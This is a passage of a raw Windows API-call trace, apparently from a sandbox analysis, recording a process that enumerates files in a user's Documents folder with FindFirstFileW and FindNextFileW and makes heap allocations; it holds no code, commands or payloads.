nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mv1WVGRvzH", cAlternateFileName="MV1WVG~1")) returned 1 [0116.530] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0116.530] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941838 [0116.530] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941658 [0116.530] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.530] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0116.530] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb2d0 [0116.530] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb470da0, ftCreationTime.dwHighDateTime=0x1d4d03f, ftLastAccessTime.dwLowDateTime=0xea432d0, ftLastAccessTime.dwHighDateTime=0x1d4cc57, ftLastWriteTime.dwLowDateTime=0xea432d0, ftLastWriteTime.dwHighDateTime=0x1d4cc57, nFileSizeHigh=0x0, nFileSizeLow=0x1158c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ntzf.doc", cAlternateFileName="")) returned 1 [0116.530] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d42dc70, ftCreationTime.dwHighDateTime=0x1d4d46b, ftLastAccessTime.dwLowDateTime=0x9cdacbf0, ftLastAccessTime.dwHighDateTime=0x1d4c96d, ftLastWriteTime.dwLowDateTime=0x9cdacbf0, ftLastWriteTime.dwHighDateTime=0x1d4c96d, nFileSizeHigh=0x0, nFileSizeLow=0x16ecb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pjxm0.mp3", cAlternateFileName="")) returned 1 [0116.530] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc8d990, ftCreationTime.dwHighDateTime=0x1d4c9b0, ftLastAccessTime.dwLowDateTime=0xc6be19d0, ftLastAccessTime.dwHighDateTime=0x1d4c644, ftLastWriteTime.dwLowDateTime=0xc6be19d0, ftLastWriteTime.dwHighDateTime=0x1d4c644, nFileSizeHigh=0x0, nFileSizeLow=0x5985, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sDwPUwZG7wDgXptt.flv", cAlternateFileName="SDWPUW~1.FLV")) returned 1 [0116.530] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1bb620, ftCreationTime.dwHighDateTime=0x1d4c9a1, ftLastAccessTime.dwLowDateTime=0x3ff70a20, ftLastAccessTime.dwHighDateTime=0x1d4c9c2, ftLastWriteTime.dwLowDateTime=0x3ff70a20, ftLastWriteTime.dwHighDateTime=0x1d4c9c2, nFileSizeHigh=0x0, nFileSizeLow=0x2f6f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uJu-CI.mp3", cAlternateFileName="")) returned 1 [0116.530] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e31b40, ftCreationTime.dwHighDateTime=0x1d4d23d, ftLastAccessTime.dwLowDateTime=0xe7db7970, ftLastAccessTime.dwHighDateTime=0x1d4c6ce, ftLastWriteTime.dwLowDateTime=0xe7db7970, ftLastWriteTime.dwHighDateTime=0x1d4c6ce, nFileSizeHigh=0x0, nFileSizeLow=0x11696, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uZ7jTVGLo.pdf", cAlternateFileName="UZ7JTV~1.PDF")) returned 1 [0116.530] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x896951b0, ftCreationTime.dwHighDateTime=0x1d4d514, ftLastAccessTime.dwLowDateTime=0xfc580b10, ftLastAccessTime.dwHighDateTime=0x1d4c91d, ftLastWriteTime.dwLowDateTime=0xfc580b10, ftLastWriteTime.dwHighDateTime=0x1d4c91d, nFileSizeHigh=0x0, nFileSizeLow=0x10db1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vDgHCp4Eu83i9SpY9-10.m4a", cAlternateFileName="VDGHCP~1.M4A")) returned 1 [0116.530] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4713620, ftCreationTime.dwHighDateTime=0x1d4cccc, ftLastAccessTime.dwLowDateTime=0xd7b698c0, ftLastAccessTime.dwHighDateTime=0x1d4c81a, ftLastWriteTime.dwLowDateTime=0xd7b698c0, ftLastWriteTime.dwHighDateTime=0x1d4c81a, nFileSizeHigh=0x0, nFileSizeLow=0x9c70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmwdI-cLzMW1U.rtf", cAlternateFileName="WMWDI-~1.RTF")) returned 1 [0116.530] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa29dd310, ftCreationTime.dwHighDateTime=0x1d4cd10, ftLastAccessTime.dwLowDateTime=0xd3547f10, ftLastAccessTime.dwHighDateTime=0x1d4cd68, ftLastWriteTime.dwLowDateTime=0xd3547f10, ftLastWriteTime.dwHighDateTime=0x1d4cd68, nFileSizeHigh=0x0, nFileSizeLow=0x18bd4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xZVVdLTP5CRjDGwK.mp3", cAlternateFileName="XZVVDL~1.MP3")) returned 1 [0116.530] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd87f2840, ftCreationTime.dwHighDateTime=0x1d4c7bf, ftLastAccessTime.dwLowDateTime=0x9e93fcb0, ftLastAccessTime.dwHighDateTime=0x1d4c804, ftLastWriteTime.dwLowDateTime=0x9e93fcb0, ftLastWriteTime.dwHighDateTime=0x1d4c804, nFileSizeHigh=0x0, nFileSizeLow=0x68ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_pjDf89YoIOK7INngcQL.swf", cAlternateFileName="_PJDF8~1.SWF")) returned 1 [0116.530] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd87f2840, ftCreationTime.dwHighDateTime=0x1d4c7bf, ftLastAccessTime.dwLowDateTime=0x9e93fcb0, ftLastAccessTime.dwHighDateTime=0x1d4c804, ftLastWriteTime.dwLowDateTime=0x9e93fcb0, ftLastWriteTime.dwHighDateTime=0x1d4c804, nFileSizeHigh=0x0, nFileSizeLow=0x68ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_pjDf89YoIOK7INngcQL.swf", cAlternateFileName="_PJDF8~1.SWF")) returned 0 [0116.530] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.530] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.530] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb200 [0116.530] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.530] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0116.530] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.530] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.530] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.530] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ec68 [0116.531] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.531] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.531] PathFindFileNameW (pszPath="") returned="" [0116.531] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb200 [0116.531] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a4f7980, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a4f7980, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.531] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a4f7980, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a4f7980, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f83b820, ftCreationTime.dwHighDateTime=0x1d51496, ftLastAccessTime.dwLowDateTime=0xc384ae80, ftLastAccessTime.dwHighDateTime=0x1d4e4f5, ftLastWriteTime.dwLowDateTime=0xc384ae80, ftLastWriteTime.dwHighDateTime=0x1d4e4f5, nFileSizeHigh=0x0, nFileSizeLow=0x174c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="13WDFkzLx13VDvEaH0D.pptx", cAlternateFileName="13WDFK~1.PPT")) returned 1 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abf02f0, ftCreationTime.dwHighDateTime=0x1d4c6f8, ftLastAccessTime.dwLowDateTime=0x95c1d8f0, ftLastAccessTime.dwHighDateTime=0x1d4c5a2, ftLastWriteTime.dwLowDateTime=0x95c1d8f0, ftLastWriteTime.dwHighDateTime=0x1d4c5a2, nFileSizeHigh=0x0, nFileSizeLow=0x160ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4Q Yden1pX.xls", cAlternateFileName="4QYDEN~1.XLS")) returned 1 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89a9e080, ftCreationTime.dwHighDateTime=0x1d4cdea, ftLastAccessTime.dwLowDateTime=0x7b89a410, ftLastAccessTime.dwHighDateTime=0x1d4d194, ftLastWriteTime.dwLowDateTime=0x7b89a410, ftLastWriteTime.dwHighDateTime=0x1d4d194, nFileSizeHigh=0x0, nFileSizeLow=0x16575, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4zo3jZ4ZhCJWz.doc", cAlternateFileName="4ZO3JZ~1.DOC")) returned 1 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed384b0, ftCreationTime.dwHighDateTime=0x1d50585, ftLastAccessTime.dwLowDateTime=0x4c344330, ftLastAccessTime.dwHighDateTime=0x1d4bcab, ftLastWriteTime.dwLowDateTime=0x4c344330, ftLastWriteTime.dwHighDateTime=0x1d4bcab, nFileSizeHigh=0x0, nFileSizeLow=0x15a80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7SVXau9BM-qAm.docx", cAlternateFileName="7SVXAU~1.DOC")) returned 1 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0f2980, ftCreationTime.dwHighDateTime=0x1d4d6b3, ftLastAccessTime.dwLowDateTime=0xdd05b4d0, ftLastAccessTime.dwHighDateTime=0x1d4d483, ftLastWriteTime.dwLowDateTime=0xdd05b4d0, ftLastWriteTime.dwHighDateTime=0x1d4d483, nFileSizeHigh=0x0, nFileSizeLow=0x9e0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8OcrQfqf9.xlsx", cAlternateFileName="8OCRQF~1.XLS")) returned 1 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x616bf490, ftCreationTime.dwHighDateTime=0x1d4c6a7, ftLastAccessTime.dwLowDateTime=0x4fedcb40, ftLastAccessTime.dwHighDateTime=0x1d4d150, ftLastWriteTime.dwLowDateTime=0x4fedcb40, ftLastWriteTime.dwHighDateTime=0x1d4d150, nFileSizeHigh=0x0, nFileSizeLow=0xd154, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aHQ0mStm7MOUQz8p.csv", cAlternateFileName="AHQ0MS~1.CSV")) returned 1 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cefcac0, ftCreationTime.dwHighDateTime=0x1d4d16e, ftLastAccessTime.dwLowDateTime=0xa06c1130, ftLastAccessTime.dwHighDateTime=0x1d4ce1c, ftLastWriteTime.dwLowDateTime=0xa06c1130, ftLastWriteTime.dwHighDateTime=0x1d4ce1c, nFileSizeHigh=0x0, nFileSizeLow=0x165dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="c74ORtbzoKEgt1tULZrF.ots", cAlternateFileName="C74ORT~1.OTS")) returned 1 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe114da60, ftCreationTime.dwHighDateTime=0x1d4d294, ftLastAccessTime.dwLowDateTime=0xf7b84b80, ftLastAccessTime.dwHighDateTime=0x1d4cec0, ftLastWriteTime.dwLowDateTime=0xf7b84b80, ftLastWriteTime.dwHighDateTime=0x1d4cec0, nFileSizeHigh=0x0, nFileSizeLow=0xe36b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Eiz2OkszASes0dl.ods", cAlternateFileName="EIZ2OK~1.ODS")) returned 1 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0eec300, ftCreationTime.dwHighDateTime=0x1d4cca0, ftLastAccessTime.dwLowDateTime=0x33b08a50, ftLastAccessTime.dwHighDateTime=0x1d4cbf9, ftLastWriteTime.dwLowDateTime=0x33b08a50, ftLastWriteTime.dwHighDateTime=0x1d4cbf9, nFileSizeHigh=0x0, nFileSizeLow=0x5727, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="G5QwtEl2iSslGa.ots", cAlternateFileName="G5QWTE~1.OTS")) returned 1 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8124fb0, ftCreationTime.dwHighDateTime=0x1d4cfef, ftLastAccessTime.dwLowDateTime=0xdd91df70, ftLastAccessTime.dwHighDateTime=0x1d4d558, ftLastWriteTime.dwLowDateTime=0xdd91df70, ftLastWriteTime.dwHighDateTime=0x1d4d558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gck8eKrR", cAlternateFileName="")) returned 1 [0116.532] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0116.532] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941838 [0116.532] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa8) returned 0x39326e8 [0116.532] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb200 [0116.532] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0116.532] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f80d8 [0116.532] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941748 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85543f40, ftCreationTime.dwHighDateTime=0x1d4d24e, ftLastAccessTime.dwLowDateTime=0xb75f70e0, ftLastAccessTime.dwHighDateTime=0x1d4cf47, ftLastWriteTime.dwLowDateTime=0xb75f70e0, ftLastWriteTime.dwHighDateTime=0x1d4cf47, nFileSizeHigh=0x0, nFileSizeLow=0xb885, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ixHgNpSkmetkMwk0N.doc", cAlternateFileName="IXHGNP~1.DOC")) returned 1 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa49aad0, ftCreationTime.dwHighDateTime=0x1d4d50d, ftLastAccessTime.dwLowDateTime=0x7ba87ac0, ftLastAccessTime.dwHighDateTime=0x1d4d315, ftLastWriteTime.dwLowDateTime=0x7ba87ac0, ftLastWriteTime.dwHighDateTime=0x1d4d315, nFileSizeHigh=0x0, nFileSizeLow=0x1760d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jLUC 3.docx", cAlternateFileName="JLUC3~1.DOC")) returned 1 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c300b0, ftCreationTime.dwHighDateTime=0x1d4e247, ftLastAccessTime.dwLowDateTime=0xb73ebe80, ftLastAccessTime.dwHighDateTime=0x1d5141c, ftLastWriteTime.dwLowDateTime=0xb73ebe80, ftLastWriteTime.dwHighDateTime=0x1d5141c, nFileSizeHigh=0x0, nFileSizeLow=0xf2a2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mMGsDdpRxCcIwjb.pptx", cAlternateFileName="MMGSDD~1.PPT")) returned 1 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6021f7d0, ftCreationTime.dwHighDateTime=0x1d4ef09, ftLastAccessTime.dwLowDateTime=0xcfc64240, ftLastAccessTime.dwHighDateTime=0x1d4fecb, ftLastWriteTime.dwLowDateTime=0xcfc64240, ftLastWriteTime.dwHighDateTime=0x1d4fecb, nFileSizeHigh=0x0, nFileSizeLow=0x3738, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mXYQzNZWY3_pbSh7dVoS.xlsx", cAlternateFileName="MXYQZN~1.XLS")) returned 1 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0116.532] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0116.532] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941838 [0116.532] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941478 [0116.532] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0116.532] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0116.532] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941838 [0116.532] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xfc) returned 0xdcc590 [0116.532] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb2d0 [0116.532] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39417c0 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39416d0 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a18 [0116.533] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941838 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941658 [0116.533] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941838 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941748 [0116.533] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941838 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x16c) returned 0x38e0b90 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f80d8 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f8070 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x39f83b0 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941a90 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b08 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941bf8 [0116.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941c70 [0116.533] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e68af10, ftCreationTime.dwHighDateTime=0x1d4c588, ftLastAccessTime.dwLowDateTime=0xb7c5da60, ftLastAccessTime.dwHighDateTime=0x1d4e08b, ftLastWriteTime.dwLowDateTime=0xb7c5da60, ftLastWriteTime.dwHighDateTime=0x1d4e08b, nFileSizeHigh=0x0, nFileSizeLow=0xd5fd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rOeN9J2zJO_02nt1ly.docx", cAlternateFileName="ROEN9J~1.DOC")) returned 1 [0116.533] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe01634c0, ftCreationTime.dwHighDateTime=0x1d4d626, ftLastAccessTime.dwLowDateTime=0x26d38ca0, ftLastAccessTime.dwHighDateTime=0x1d4f64d, ftLastWriteTime.dwLowDateTime=0x26d38ca0, ftLastWriteTime.dwHighDateTime=0x1d4f64d, nFileSizeHigh=0x0, nFileSizeLow=0x3a9f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rrn5_p.docx", cAlternateFileName="RRN5_P~1.DOC")) returned 1 [0116.533] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd445ace0, ftCreationTime.dwHighDateTime=0x1d4bf72, ftLastAccessTime.dwLowDateTime=0x71a4b730, ftLastAccessTime.dwHighDateTime=0x1d5069d, ftLastWriteTime.dwLowDateTime=0x71a4b730, ftLastWriteTime.dwHighDateTime=0x1d5069d, nFileSizeHigh=0x0, nFileSizeLow=0x7ba9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sh2l9d6EAI4aRt7OOr6g.pptx", cAlternateFileName="SH2L9D~1.PPT")) returned 1 [0116.533] FindNextFileW (in: hFindFile=0x39836e0, 